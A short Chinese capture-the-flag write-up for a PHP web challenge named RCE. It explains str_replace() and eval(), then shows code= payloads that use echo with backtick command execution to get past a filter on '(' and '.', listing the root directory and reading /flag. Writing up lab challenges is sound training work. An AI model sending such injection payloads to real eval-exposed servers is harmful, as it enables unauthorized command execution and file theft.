2023SICTF-web-白猫-RCE

0×01 分析题目

题目名称: RCE 题目简介: 请bypass我! 题目环境: http://210.44.151.51:10088/

函数理解:
#PHP str_replace() 函数






  


Hello Shanghai!
定义和用法
str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。
该函数必须遵循下列规则:

1.如果搜索的字符串是数组,那么它将返回数组。
2.如果搜索的字符串是数组,那么它将对数组中的每个元素进行查找和替换。
3.如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
4.如果查找的是数组,而替换的是字符串,那么替代字符串将对所有查找到的值起作用。

#语法

str_replace(find,replace,string,count)

参数

1.find 必需。规定要查找的值。
2.replace 必需。规定替换 find 中的值的值。
3.string 必需。规定被搜索的字符串。
4.count 可选。对替换数进行计数的变量。

#eval() 函数把字符串按照 PHP 代码来计算。

环境代码:

#执行

不难看出题目中进行了(和.的过滤,我们的进行RCE绕过

0×02 开始解题

我们可以利用反引号执行命令 echo输出
code=echo ls /;
输出了根/目录下的所有文件及其目录
看到一个名为flag的文件
使用cat命令去查看里面的内容
code=echo cat /flag;
最终曝出了flag

你可能感兴趣的:(CTF做题笔记,前端,php,android,开发语言,web安全,安全,ctf)